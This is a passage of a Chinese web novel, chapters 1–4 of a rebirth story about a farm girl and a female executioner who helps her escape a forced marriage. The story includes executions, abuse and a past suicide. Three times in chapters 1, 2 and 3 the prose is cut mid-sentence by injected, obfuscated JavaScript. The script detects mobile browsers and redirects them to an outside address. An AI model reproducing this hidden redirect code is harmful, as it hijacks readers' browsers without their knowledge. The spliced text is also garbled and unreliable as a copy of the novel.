《农女与刽子手（重生）》 1. 重生夜雨 十一月，深秋。 连续下了两场雨，天气越发冷起来。 林霜蜷在发硬的棉絮里，耳边隐隐约约传来柴房那一头大伯和大伯娘商量婚事的声音。 说是婚事，实是续弦，也是冲喜。 不出意外的话，她将于后日被送上花轿，嫁入秦家，给秦家少爷冲喜。 按照上一世走向，那位早已病入膏肓的秦少爷会在她入门一个多月后咽气，秦老夫人也在那个时候发现了林家篡改林霜生辰八字的事，上门找大伯算账。 大伯和大伯娘并没有归还聘银，两家交恶，她在秦家寸步难行，最后将希望放在秦少爷的和亡妻的一双儿女身上，辛辛苦苦将他们抚养大。 岂料命运弄人，十年后两个孩子长大，非但没有感恩之心，反而在老夫人的唆使下将她转卖给他人缔结冥婚。为防止她逃脱，秦庆生残忍地打断了她的双腿，强行将她塞入婚轿中。 当与另外一具尸体一同埋入棺材的那一刻，她只觉得双腿剧痛难忍，恐惧无边。 她恨大伯一家，将她陷入如此境地。恨一手抚养大的继子，亲手将她推入了另一个不见天日的深渊。怨上天不公，怨爹娘怎么就这么将她撇下，留给那对恶毒的夫妇。 直到棺内空气耗尽，她闭眼绝望等死，却听到棺材上边传来“哐哐”的挖掘声。 棺盖打开，朦胧中是一张熟悉而又遥远的面孔。 迷迷糊糊之中想起，十年前去给秦家冲喜的头两天晚上，外边下着淅沥沥的雨，竹窗被染着血腥气的刀鞘顶开，江怀贞浑身湿漉漉地站在窗前。 “要跟我走吗？”她问。 嫁入秦家冲喜的事早就传遍整个村子，对方知道并不奇怪，林霜诧异的是，她怎么会来。 此人是昌平县有名的刽子手江贵之女江怀贞，和林霜是同个村子的人。因江贵刽子手的这个行当，村里无人愿同他们家往来，他死了以后，江家居住的那个山谷，就更没人敢去。 那日下晌更是听街上回来的人说，江怀贞女承父业，上刑场行刑去了。 以至于当听到对方说要带她走，她犹豫了。 江怀贞尚且无法保全自身，又如何能救她脱离苦海？ 况且就算逃得了这次的冲喜，摊上这样的大伯，还能逃过下一次？ 世道纷乱，她一个无父无母的孤女，无一技之长，就算离开了林家，又能去哪里？ 于是上一世的林霜拒绝了。 但她没想到，濒死之际，彼时已经恶名远扬的女刽子手会出现在跟前，掘坟挖人，将她背回家中，悉心照料。 林霜却不想活了。 不是怕变成废人没有尊严活着，她一个小小的农女，在秦家被磋磨十来年，又被送去缔结冥婚，她还有什么尊严可言。 只是残破的双腿，一身病痛，一天不知道要花多少药钱。更无法行动，不能做饭，就连如厕都需要江怀贞帮忙。 人生无望，她也实在不愿意拖累自己的救命恩人。 于是在一次江怀贞外出的下午，她结束了自己二十七岁的生命。 她再次辜负了江怀贞，死之前心里全是痛苦和无边的内疚。 却不想，又回到了十六岁时冲喜的前夕。 如果事情循着上一世的轨迹，那么今天晚上，江怀贞将会推开那扇窗，问她，是否要跟她走。 林霜靠在床头，眼睛死死盯着竹窗的方向。 大约戌时三刻，黑夜像一块巨大的幕布笼罩住整个村子，周边渐渐安静下来，淅淅沥沥的雨声中，偶尔夹杂着几声犬吠，给这深秋的夜里，增添了几分寒意。 她将身上的被子裹了裹。 盖了十多年的被子，拆了拆，洗了洗，如今只剩薄薄一层硬布层，林霜只觉得周身发寒。 叩叩叩—— 窗棱上传来敲击声。 她猛地坐起来，掀开被子，甚至来不及穿上鞋子，就这么踉踉跄跄朝窗子奔去。 与此同时，一截黑褐色的刀鞘伸进窗子的缝隙，竹窗被顶开，一股潮湿的水汽扑面而来。 身穿蓝色粗布短打，领口露出半截月白色中衣的江怀贞站在窗口，她未穿蓑衣，也没有戴斗笠，就这么一身湿淋淋地站在那儿。 脸色被雨水冲刷得有点发白，嘴唇微微有些青紫。 冰冷又倔强，带着一种让人惊心动魄的美。 前世那晚林霜根本没有心情仔细打量着对方的模样，想起后来被她抱回家悉心照料的那段日子，再对比着眼前这张年轻的脸庞，身体竟有些不可抑制地发抖起来。 “要跟我走吗？” 和上一世一样，一字不差。 林霜这时已走到窗口，伸手去抓住她的刀鞘。 少女见状，微微一怔，随即将刀鞘挪开，眼睫也微微垂下去。 林霜记得的，今日是江怀贞第一次上刑场行刑的日子，是她砍下了平生的第一颗人头。 她才十七岁。 给人执行死刑是一件需要足够胆量的差事，同时也是一件吃体力的活儿，因此自古以来，刽子手这份工作几乎就没有女人担任的先例。 眼前的江怀贞看上去一点也不魁梧，甚至可以说很瘦。林霜无法想象这样的身体里如何爆发出巨大的能量，将人一刀毙命。 但她确确实实地做到了，而且上一世她还干了这个行当有十年之久。 可不论是谁，在踏入这个行业的头一遭，绝对都不会好过。 即使此时的江怀贞看上去很镇定，可林霜能看到她身体微不可察地颤抖，修长的手指紧紧抠在窗子的边框上，指尖泛着青白，想必是费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111366|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了巨大的力气才抑制住发颤。 见她不让自己抓刀鞘，林霜手掌一移，附在了对方冰冷的右手上。 眼前是十七岁的江怀贞，而自己内心，是二十七岁的林霜。 少了这个年纪该有的羞怯和天真，心里多了无尽的沧桑。 二十七岁的灵魂隔着雨帘凝视眼前这张年轻脸。前世她竟未察觉，江怀贞颈侧有一粒小小的黑痣，此刻被雨水冲刷，显得越发清晰。 当体温透过相贴的皮肤渡过去时，掌心的那只手似乎瞬间被烫到，猛地一僵，但并没有缩回去。 “我会跟你走，但不是现在。”林霜道。 江怀贞看着她，表情微怔，似乎有些不明白她的意思。 林霜道：“你明日找机会往秦家和周边放出风声，说我是地煞命格，两岁克死父母，林家将我的生辰八字给改了，他们拿到的那份八字是假。秦家是要娶一个命格好的女孩去冲喜，知道了这件事，绝无可能再抬我进门。” “好。”江怀贞道。 林霜松开握住她的手，从怀里掏出一个镯子，递给她道：“你再帮我拿这个镯子去当掉，应该能换几两银子，到时候秦家退亲，事情传出去，就不会再有人上门提亲。大伯和大伯母定会想办法把我贱卖出去，你便用这个钱，把我买回去。” 这个手镯是母亲留下来的唯一纪念，也是她仅有的财产，这些年她将它藏得严严实实，才没有被大伯母搜刮去。 只可惜上一世到了秦家不过一年的时间，就被秦老夫人身边娄婆子给夺了去，再也要不回来。 如今用在这里，也算是物有所值了。 上一世江怀贞从坟地将她背回家，这份恩情，今生为她当牛作马，她都愿意。 也为自己自私地独自赴死，把她一人丢在那个世界里孤苦伶仃，赎罪。 江怀贞伸手接过还带着她体温的手镯，长长的睫毛微微颤了颤，原本聚在眼皮上的雨水也顺势滚落下来，沿着脸颊坠下去。 “我会办好这件事。”她声音微微有些低哑。 林霜看着她，问道：“你为什么要帮我？” 上一世，被对方从墓地带回去后，她也这么问过，但对方从来就没有给过她答案。 江怀贞意料中地没有回答，转身就要走。 林霜赶忙将她叫住，转身回床上，拿出一个香囊递给她。 “这个里面装了合欢花和艾草，睡觉的时候枕在枕头下，能杀腥膻气，安魂定魄。” 今日第一次行刑，她一个十七岁的年轻姑娘，再怎么样，也一定被吓坏了。 这个是早之前捡来的干草药，原本是想给自己用，现在给她，多少能有些用处。 江怀贞转过头，深深看了她一眼，随即接过她手里的香囊，攥在手心，转身冒雨离去。 2. 江贵女儿 十四年前，昌平县菜市口。 临时搭建的刑台上，跪着一个身穿囚衣的年轻妇人，整个人灰头土脸的，但仍难掩绝美之姿。 她的双手被粗大的绳索紧紧束在身后，双眼空洞。嘴唇微微翕动，喃喃自语：“死了活该……死了活该……” 言语间，两行清泪流下，“我十五岁被他蛊惑，放弃了家里的荣华富贵与他私奔，拒绝了多少青年才俊，只愿与他相守白头，他却背弃了誓言，另寻新欢，还在外头生了孽种，难道这错不在他吗？” 说完笑声突兀地响起，癫狂而又凄厉，“奸夫*妇，该杀——该杀——” 四周的百姓围得水泄不通，人们指指点点，议论纷纷。 “杀人偿命，天经地义，你这疯子还有何理可讲？男人三妻四妾本是常事，你心生嫉妒，若非你丈夫仁慈，早该休了你，你竟还敢行凶杀人！” “真是蛇蝎心肠，如此美貌之下，竟藏着如此恶毒的心窍。” “话不能这么说，是她丈夫先负了她……”有人反驳，但声音很快就被淹没在浩大的讨伐声中。 囚犯身后，站着一个皮肤黝黑身材壮硕的男人，他头系红色头巾，赤着上半身，露出精壮的肌肉，肩上扛着一把手臂那么长的大刀，刀口一晃，日光投射下映出一道刺眼的白光。 此人正是负责行刑的刽子手江贵。 江贵面无表情地看着眼前跪在地上的妇人，眼睛半眯着。 算上今天这一个，他已经砍了第一百零九颗人头。当年的师父交代过他，这个行当不能干太久，砍到九十九颗就该停手，否则就会断子绝孙不得好死。 砍到九十九个人的时候，他也犹豫了。 可整个昌平县就他一个刽子手，旁的人也干不来这晦气活儿，再说别的行当哪有这个来钱快。 他砍头砍了十年，今年已经三十多岁，这些年老娘托人去说亲，人家姑娘一听说他是干这个的，没有人愿意嫁给他。 久了，他也不执着了。 于是就继续砍，很快就超过一百个。 唯有家里的老娘不甘心，一天天念叨着。 看着眼前跪在地上的女囚犯，他忍不住心想，哪个男人讨了这样如花似玉的妻子，不好好心疼着，怎的还有心思在外头拈花惹草？ 他要是有妻子，即便是无盐女，他也会好好待她。 然而容不得他多想，上头监斩官丢下令牌。 “斩——” 听到这个字，他胳膊上的肌肉几乎是条件反射地一紧，很快便回了神，朝手掌吐了两口唾沫，扛起大刀，朝前走了两步。 “这等毒妇，别让她死得那么轻松，多砍几刀——”人群中有个尖锐的声音嘶喊着。 江贵的眼睛微微一抬，目光掠过台下那妇人的身影，他认得那妇人，那时死鬼谢晋的姐姐。 妇人身旁站着个仆人，仆人怀里抱着一个三岁左右的女娃娃，孩子看着台上的妇人，咧着嘴大哭，叫道：“娘——娘——” 看样子，这孩子应该就是谢晋和台上死囚董含雁的女儿了。 谢氏听到怀中孩儿哭喊，一巴掌拍在她脸上，骂道：“孽障，那个贱人杀了你父，你却还敢认她，长大后定也跟那毒妇一般，心狠手辣，你就该给她一起去了——” 小女娃白嫩的小脸在重重的一巴掌之下，肉眼可见地肿了起来，痛得眼泪直流，却不敢再哭出声，身子一抽一抽，看上去可怜极了。 江贵忍不住多看她两眼，却被身后的监斩官喝道：“时辰已到，还不快行刑。” 他赶忙收回目光，将大刀举起。 “多砍几刀——”“别让她死得那么轻松——” 江贵干这行当近十年，豪不夸张地说，他想让死囚三刀死，就绝不会两刀让人毙了命。可粗壮的手臂挥下来的时候终究还是心软了，一刀下去，干脆利落。 除了临死前的恐惧，女人走得没有丝毫痛苦。 人群里有人喊道：“老江头，手抖了吧，平日没见你来得这么爽快的。” “呸，这莽汉怕是心疼美娇娘了。” 江贵没有理会，今天的活儿干完了。擦了刀，大步往衙门走去，打算领了赏银就去酒馆喝两杯。 他无妻无子，家里只有一个老娘，不喝酒耍牌，他还能干什么？ 直到天快黑了，喝得醉醺醺的刽子手出了城，往村子方向走去。 一路踉踉跄跄地，却在西城门口被一个什么东西给绊倒摔在地上，等爬起来，才发现绊倒自己的是个三岁小娃。 女娃衣着单薄，小小的身子已然冻僵，青白的脸蛋儿高高肿起，眼睛紧闭。 他心里一个激灵，酒醒了一半。 伸手去试了一下孩子的鼻息，又趴在地上，贴着耳朵去听她心跳。 似乎还没死，赶紧将衣服脱下来，把女娃捂在怀里，抱着她深一步浅一步地朝家里走去。 口中喃喃道：“……老天爷送的孩子就是我的孩子……你就是我江贵的女儿……以后谁敢说我江家无后……老子砍死他……” …… 和林霜分别之后，江怀贞背着砍刀往家里走去。 白水村西边往深山处凹进去一个坳口，江家独一户就在山谷里面。这个山谷自十几年前就已经被村子里的人当成了一个禁地，因为里边住着一个砍了数百人头颅的刽子手。 自从老刽子手江贵两年前喝醉了酒在回村路上摔死后，人们越发觉得那地方邪门，更是敬而远之。 不过江贵有个十七岁的女儿，长得十分标致，村里的青年偶得一见，向往不已，胆子大一些的，会结伴往西山谷附近去，想着能多看到她一眼。 人是见着了，却冷冷冰冰的，倒也会打招呼，可除此之外一句废话也不多说。 越是这样，越让人心痒。 直到秋分过后，随着一场淅沥沥的雨下下来，一个晴天霹雳在白水村后生们的头上炸开。 西山谷江贵的女儿江怀贞，继承她老子的衣钵，当刽子手去了。 蠢蠢欲动的心思，就此歇下。 做这个行当的人，皆是断子绝孙的命，谁敢把她娶进门？ 能被衙门认可上刑场行刑的人，绝非一般人，谁嫌命长敢去招惹她？ 原本刚热闹了一阵子的西山谷又变得寂静起来，就连村正家的大黑狗跑到外头也仅仅吠了两声又往回跑。 从林家出来后，江怀贞几乎是摸着黑回到家。 入家门之前，先是进了宅子左侧的一间小柴房里，将大刀解下来，挂在墙上。 焚了香，才往家中大门去。 方才的那间小柴房，是父亲平日放置行刑工具的地方，每次当差回家，他都会在里面把自己清理干净，烧三炷香，才回主宅。 主宅从左至右一共三间房子，中间是堂屋，堂屋左边是老太太的屋子，右边是江贵的房间，后面一排为厨房和堆放杂物的地方。 房间不多，但每间房都很大。 少时江怀贞被江贵抱回来，都是和江老太住在一起。如今她接过父亲手里的鬼头刀，不敢再让自己身上的煞气冲撞体弱多病的祖母，便整理了父亲的房间，搬过去住下。 江怀贞进了堂屋，便往左边屋子去。 屋里亮着灯，老太太还没睡，听到她脚步声，立即阖上眼睛。 江怀贞走到床边，站了一会儿，目光落在床边半分没有动过的饭碗上，轻声询问道：“奶，怎么连午饭都不吃？” 江老太才瓮声瓮气道：“不吃，饿死算了。” 江怀贞沉默半晌，回道：“给犯人行刑，是正当职业，总得有人去做。” “正当事，怎么别人做不得，偏生就你才能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111367|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”江老太气道，“我早该死了，这样赖活着，我真是比死还难受。” 江老太这些年来身子就不怎么好，自从江贵死后，就整个垮了下来，生了一场大病。江怀贞这两年来忙进忙出尽心照顾，这病也是时好时坏，大多数时间缠绵病榻，好一点的时候也能拄着拐杖下床。 直到两天前老太太突然发热，她连夜把人背去医馆，却半两银子都拿不出。 江贵这些年挣的银子除了自己喝酒，全都花在老娘治病上面，如今他死了有两年，家里没有别的进项，老太太一日不能断药，突然发重病，成了压垮江怀贞的最后一根稻草。 或许她一时候能借个二三两，可往后要是还继续犯病，她又上哪儿去借。 于是便狠心下了决定，找父亲生前有些许交情的卢捕头求助，请他帮忙牵线要去当刽子手。 比起其他行当，砍一个人头一两银子，算是来钱快的了。 昌平县自从江贵死了之后，后来又来了两个刽子手。第一个上台，砍一个头砍了二十几刀才砍断，血肉飞溅到处都是，场面惨不忍睹，死者家属因此记恨上了这个人，没干得几天人便溜了。第二个倒不至于像头一个那样出状况，但心理素质不太行，哆哆嗦嗦行了两次刑后就一病不起。 也得亏前段时间报上去的案子刑部还没批下来，那人暂时安生了些时日。 江怀贞估摸着他也干不了多久，这才找了卢青。 卢青却犯难了，虽说有衙门有需求缺口，可古往今来就没有女人上刑场行刑的先例，就连衙门的杂役都不招女人。 直到昨日，刑部的案子批下来送到县衙，前头的刽子手连夜逃跑，县令下令无论如何要找到人补上，先把今年的这几个死囚给解决了，免得夜长梦多。 他这才硬着头皮把江怀贞往上报，不过并没有特意说明她是女子的事。 县尉见有人愿意来干这个晦气活，求之不得，立马就安排她上刑场。 江怀贞虽然下定了决心要干这个事，可真上场的时候，整个人还是紧张得几乎窒息。得亏这些年她跟着江贵一直训练，才一时候稳住阵脚。 她小的时候见到江贵每天都砍冬瓜砍树练功，也想跟着学。江贵好不容易得来的女儿，怎么舍得让她沾染这些事情，可江怀贞说，“爹砍冬瓜练手，我也跟着练，将来就算不当刽子手，对上坏人也能有自保的能力。” 江贵一听觉得有道理，哈哈大笑道：“不愧是我江贵的女儿，有个性，爹这一身本事全都传给你，将来若是遇上那些狗杂碎，砍了就是。” 江怀贞砍冬瓜砍了十多年，即便紧张得心跳不止，可当下手的那一刻，身体肌肉记忆带动了所有的力道和动作。 手起刀落，人头落地。 县尉亲自监斩，见这一幕，笑道：“还得是江贵的儿子，天生就吃这门饭，一刀一个，面不改色，比前头那两个不知道要强多少倍。” 她便知道，自己做这个行当稳了。 只是眼前那一大滩红色，让她想到了幼时站在刑场外，目睹着亲生母亲被砍断头颅的那一幕。 杀头时血溅在睫毛上，看天地都是红的。 她忍着涌到喉咙的呕吐感，扛着刀转身往家里去。 下晌便到了家，明明已经洗了几遍澡，偏偏老太太却长了一对狗鼻子，仍嗅到她身上的血腥味，顿时就不依了，饭也不吃药也不喝，闹着要死要活。 她不擅长安慰人，无奈之下只好把饭和熬好的药放在床边的桌子上，等她饿了再起来吃。 接近傍晚又受命回衙门一趟，这才晚归。 生活很难，但总要过下去。 江怀贞闪过方才竹窗内那一张青青的小脸，捏了捏放在胸口袋子的香囊，感受着里边飘出来的淡淡香味。 端着油灯，先去把湿衣服换下来，才转身去厨房热饭。 3. 秦家退婚 把手镯给了江怀贞后，林霜心头压着的那一块大石头总算放了下来，重新爬回到床上。 昨日重回年少时，惶恐之余又激动不已，几乎一夜无眠。大伯母想着后日便能把她卖个好价钱，这两天也没催她干活。 原本打算今天早起上山去摸点草药，说不定以后能用得上。但冲喜的事只要一天不解决，她就一天不放心，也打不起精神干其他事，这事也暂时搁置。 说起来，她认草药的本事，还是上一世在秦家学的。 秦家祖上是开药铺发家，按理说，做药材行医出身的人家应该不信冲喜这种事，或许是病急乱投医，又或许是其他林霜不知道的原因，总之秦老夫人拿了主张，安排了这个事情。 林霜到秦家的时候，秦少爷已经没什么生机，她提心吊胆地被好吃好喝伺候一个多月。直到秦少爷过世，秦老夫人也发现了篡改生辰八字的事，遣人前去林家对质，林满仓夫妇拒不承认，两家交恶。 秦家人便把秦冲的死怪罪在她头上。 她回不了林家，被当成奴仆一般，平日跟着药农上山采药，加工药材，还要做试药的药奴。十年下来，对这些药认了个遍，也积攒了一身的毛病。 他们就吃定了她性子软弱不会反抗，竟连秦冲生前的一双儿女也放心地丢给她照料。 秦老夫人甚至还当着她的面和下人说：“她就是个软骨头贱骨头，就算我敞开秦家的大门她也不敢跑，她能跑去哪里？她还能去死不成？” 她确实没敢跑，任劳任怨当牛作马，却万万没想到一手带大的两个孩子最后成了白眼狼，大的亲手敲断她的腿，小的怕她发出声音，死死捂住她的嘴。 想起被埋在地底下的那一个多时辰，膝盖刺骨的痛意，还有身边已经泛着尸臭的尸体，让她仿佛置身地狱。 临死前那一刻，她还是挣扎了，双手用力往上顶着棺盖。 但都无济于事。 然而有那么一刻，当双手竭尽全力撑向四周的瞬间，她感觉自己似乎感知到了周边土壤里的一切，包括附近土地下埋着的几根骨头几只虫子，藏着多少块石头，还有树木根部延伸的形状和方向，还有土壤上边种植的什么树什么草…… 然而随着棺内空气愈发稀薄，她渐渐昏迷过去。 直到听到上边传来铁器刨开土壤磕碰到棺盖发出咚咚的声音，她等来了十年不见的江怀贞。 想到这，林霜忽然掀开被子再次下床。 她蹲在地上，双手摊开，五指和掌心触碰到地面。 当闭上眼睛，整个手掌像是长出了无数条无形的触手，探入夯实的地面，渗入土中。 地底下两尺的地方有蚯蚓在蠕动，屋后面老槐树的根伸到了这间屋子下边，再往右五十步的距离，有水。 林霜猛地睁开眼睛，那里是林家的水井。 她压着心中的狂喜，站起身走到窗边，推开竹窗，伸手出去，让密密麻麻的细雨洒下来，冲洗掉手上的尘土。 雨水很冷，风也很凉，但她的内心却是热乎的。 老天，上一世过得那么惨，这一世，终于开眼了吗？ …… 隔日晌午刚过，秦家便来人了。 做媒的王婆走在前头，一张老脸垮下来，像个霜打的茄子。 来的是秦家的一个老仆，五十多岁的年纪，刚进村就开骂，骂林满仓夫妇不要脸，把克死父母的扫把星侄女改了生辰八字送到秦家，是想克死他们家少爷。 骂林家祖宗十八代，骂林霜这个小贱蹄子，觍着脸也想飞上枝头当凤凰。 各家各户听着这一声跟着一声，都纷纷探出脑袋想要瞧个究竟。 林霜在屋里，听着由远及近的谩骂声，嘴角微微勾起。 心想江怀贞看着冷冷清清，但办事却很靠谱，才半天就来人了。 来的这老货是秦家管家的婆娘娄婆子，前世若说秦老太对付她的手段有十分，那么此人就有九分。秦老太的每一个指令，便是这个婆子实施，或打或骂或罚，都是她说了算。 如今这婆子来，大伯和大伯娘是不可能讨到好了。 狗咬狗，应该很好看。 倘若是林霜人进了秦家门后事情才败露，林氏夫妇是无论如何都不可能把吃进去的银子给吐出来。 上一世他们便是这么做，到最后也没有归还银子。 但如今人还没进门就发现生辰八字造假，这事就有的说。秦家虽不是什么大户，但好歹也是个小地主，林满仓两口子既不占理，也惹不起。 林霜的生辰八字不是什么秘密，王婆已经招了，这件事没有回旋的余地。 同村好几户人家都围过来看热闹，马桂花自己还想要点脸，话锋一转竟冲着林霜的房门道：“说来说去也是为了霜丫头，她听说过去能当少奶奶，哭闹着非要嫁，劝又劝不听。要是我亲生女儿，我打死都不答应。可我们做伯父伯母的，要是不应，那就是苛待她一个孤儿，少不了要被外人说三道四。如今答应下来，又闹了笑话。” 这话真真假假，知道马桂花为人的，已经忍不住嗤笑出声。 但也有人当真。 这些年林家二房就剩一个丫头，没少被大房指使干活，说不定还真存了当少奶奶的心思。 娄婆子听了这话，更来劲了，骂道：“果然是穷乡僻壤的下贱胚子，幸亏发现得早，真抬她上了轿，我们家少爷要是真出个三长两短，你们拿什么来陪？” 林霜听到这儿，才起身拉开门走出去。 十六岁的少女瘦得可怜，皮肤因常年劳作也显得有些黑。好在底子好，能看出来有几分标致，稍微养养，将来也定不差。 只是脸上却有着不符合年岁的镇定，两只眼睛瞟过来，带着几分寒意，与平日羞怯懦弱判若两人。 娄婆子刻薄的眼珠子往她身上上下一打量，尖声道：“尖嘴猴腮的穷酸样，就你这样也配肖想我们家少爷？” 林霜看着眼前这老货里里外外的嫌弃，低声轻嗤：“你以为你是怎么发现我生辰八字是假的？” 娄婆子微微有些错愕。 林霜却不再看她一眼，她与这老货的账以后再慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111368|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算，但这会儿当着众人的面，得先治一治马桂花这张胡扯的嘴。 于是转过身来提高声量道：“我要是说过一句要嫁秦家的话，天打五雷轰顶不得好死，子孙后代男的代代为奴女的世世为娼！” 平日怯弱少言的小姑娘一张口就来了这样一个毒誓，震惊了现场的所有人。 “大伯娘，这样的毒誓，你敢发吗？”林霜看着马桂花。 马桂花当然不敢。 林满仓攥着拳头喝道：“大人说话，小孩子插什么嘴，还不快回屋去！” 林霜轻笑一声，果真不再咄咄逼人，低眉顺眼地转身又回了房。 那娄二娘瞧着眼前这一幕，啧了一声：“真是一出好戏啊，为人伯父伯母算计侄女算计到我们秦家头上来了！这小丫头伶牙俐嘴，看着也不是省油的灯，得亏我发现得早，否则把这么个人领进门，还不知道要生出什么祸害来。” “呸，一家子的牛鬼蛇神，还不把银子还回来！” “还有你这老货，伙同这一家子行骗，等这事传出去了，看谁还敢找你做媒？” 王婆被这话臊得满脸通红，只得把锅甩到林满仓夫妇身上：“当年闹瘟疫，死的也不单二房两口子，附近几个村子哪家没有死过人？这可不能算进去……那丫头的生辰八字我一个外人怎么得知……” 马桂花怎甘心自己背锅，骂道：“难道那算命的道士不是你帮忙找的？” 眼看越抖越多，村正赶忙打断道：“行了行了，快别说了，丢不丢人哪。满仓，赶紧拿个主意吧。” 他们村子嫁女还要篡改生辰八字，传出去了，谁还会愿意来他们村说亲？ 林满仓面色铁青地呵斥着马桂花：“还不去拿银子。” 马桂花听到这话，咬了咬牙，一跺脚，转身回了屋。 出来的时候，手上拿着一锭银。 娄婆子见了银子，伸手一把抢过来，一边骂道：“不要脸的穷鬼，害老娘白跑一趟。” 说着满脸嫌弃地瞪了一眼马桂花，带着两名家丁骂骂咧咧一路出了村。 林满仓把村正送走后，关了门，将屋里的锅碗瓢盆摔了个乒乒乓乓。 马桂花隔着门骂林霜：“原想着让你进了富户吃香喝辣，谁承想是你不争气，克死你爹娘就算了，还连累我们大房一家，真是晦气。” 她纳闷着屋里这小丫头怎么像是变了个人似的，平日与她说话唯唯诺诺，今日却敢与她对着干？ 真是邪了门了。 想到白花花的银子就这么飞走，顿时肉痛不已。 林霜懒得与她对骂，躲在屋里纳鞋底。 这双鞋原本是要给她自个儿做的，先前想着自己才十六岁，脚或许还会再长，于是就弄了个老长的鞋底。可惜前世日子过得苦，脚不长了，个子也不咋高，那双鞋后来也没穿上。 但现在嘛，这鞋子还有一个人能穿。 如今江家穷得叮当响，江怀贞进城当差全靠两条腿来回跑，一双鞋子穿不了多久就能磨烂，虽然她自己也会缝鞋子，可谁会介意多一双？ 4. 我买下她 林霜还是高估了林满仓和马桂花的脸皮。 次日醒来，她没用过早膳就被指使上山去捡柴火，待晌午回来，见到家里坐着几个陌生人。 为首的女人身穿绸缎，约莫四五十岁，皮肉松垮举止轻佻，见她进门，眼珠子放肆地上下打量着她。 待这一眼看毕，女人原本挑剔的眉眼笑着眯成了一条线，看样子十分满意。 林霜两世为人，怎不知道这些人是什么来头？ 清平县两个大妓院，不是东边那个就是西边那个。 原以为昨日被秦家一顿奚落后大伯和大伯娘多少也会收敛一段时日做做样子，却没想到竟破罐破摔，干脆把她卖了。 林霜心一沉，她前天晚上是让江怀贞拿手镯去卖了，但昨晚上没见她过来，也不知道镯子卖出去了没有，或是有别的事情耽搁了。 如今唯一指望便是那个人，她若是帮不上忙，自己这是刚出狼窝又入虎穴，怕是比上一世还惨。 想到这，她将手里的柴火重重放下，转身又出门。 马桂花见状喝道：“刚回来又要去哪里？” 林霜此时对她哪里还能装出好脸色：“去茅厕，不行吗？” 马桂花冷笑地看着她：“行，怎会不行。” 昨日被这个侄女当众下了面子，她心里就已经恨得不行，压着一肚子的气根本睡不着觉，想着上个月娘家村子里也有人把女儿卖去那种地方换了银子，人家不也是照样活得好好的。 亲生女儿都能卖得了，更何况还不是自己亲生的。 当即就跟林满仓说开，这怂货一开始还不答应，怕村子里戳他脊梁骨骂。 她心里一阵气，拧着他的耳朵道：“先是被退婚，再是篡改八字，还有克父克母这几样，短短一晚上就已经传得到处都是，你还指望她能嫁个正经人家？趁着现在卖出去，还能有几两银子。再往后年纪大了就不值钱了。” “这事也就说一阵子，再过一两年谁还记得？你要是还想留着她一把年纪养在家里当老姑娘，咱家的孩子难道就不受影响？” 一阵好说歹说，林满仓便同意了。 于是她天不亮就起床，回了娘家找那户卖女儿的同村，让他们帮忙牵线搭桥。 那户人家因这个事没少被人唾弃，巴不得也有人也掺和进来一起分担骂名，屁颠屁颠就去了。 城里那边得了信儿，晌午便进了村。 马桂花一心想着待会儿银子到手，看这小贱人还怎么跟昨日一般尖牙利嘴为自己开脱？ 想到这儿，她冷眼看林霜走出去，转头冲着小儿子林果使了个眼色，让她跟上去，免得这丫头跑了。林果慢吞吞地跟在后面，看着林霜进了茅厕。 跟着老鸨一同而来的几个龟奴也不近不远地守着，生怕人从眼皮底下给溜了。 十三岁的林果蹲在外边守了好一会儿，见到茅厕里还没有动静，于是喊了一声：“林霜——” 无人应答。 他心猛地一提，赶忙站起身，朝茅厕跑过去。 而村头方向，一个身影正快步朝着林家的方向跑去。 “是江家那丫头——刽子手那个。” 道路两旁的人家听到动静，忍不住探出头来。 “西山谷那边有小路进城，她很少走村里这条路，怎么今日却往这边跑？” “匆匆忙忙的，鞋子都跑烂了，怕是有急事。” “啧，哪个好人家愿意跟她扯上事儿哦……” “半个时辰前刚有辆马车过去，莫不是跟这个有关？” “林家两口子也没什么有钱人亲戚，我看那马车来得蹊跷。” 说到这，村民顿时蠢蠢欲动，“走走走，去瞧个究竟——” 江怀贞昨日去几个当铺询了镯子的价格，给价太低，她没出手。等到今天早上好不容易问了好价钱，当了八两银子，想着等午后行刑结束回去再把银子拿给林霜。 谁知回来路上听到赶集的村民说有一家妓院的马车进了白水村，她下意识就想到是林家那对夫妇作妖，只得死命往村子里跑，心想着无论如何要赶在他们出了村子之前将人拦下。 等终于跑到林家附近，果然看到一辆马车停在大门口，一颗心当即提了起来。 屋里，林满仓蹲在角落一言不发，马桂花冲着眼前徐娘半老的女人道：“妈妈，人你也看过了，我们家这丫头长得一点也不差，五两银子是不是少了点？” 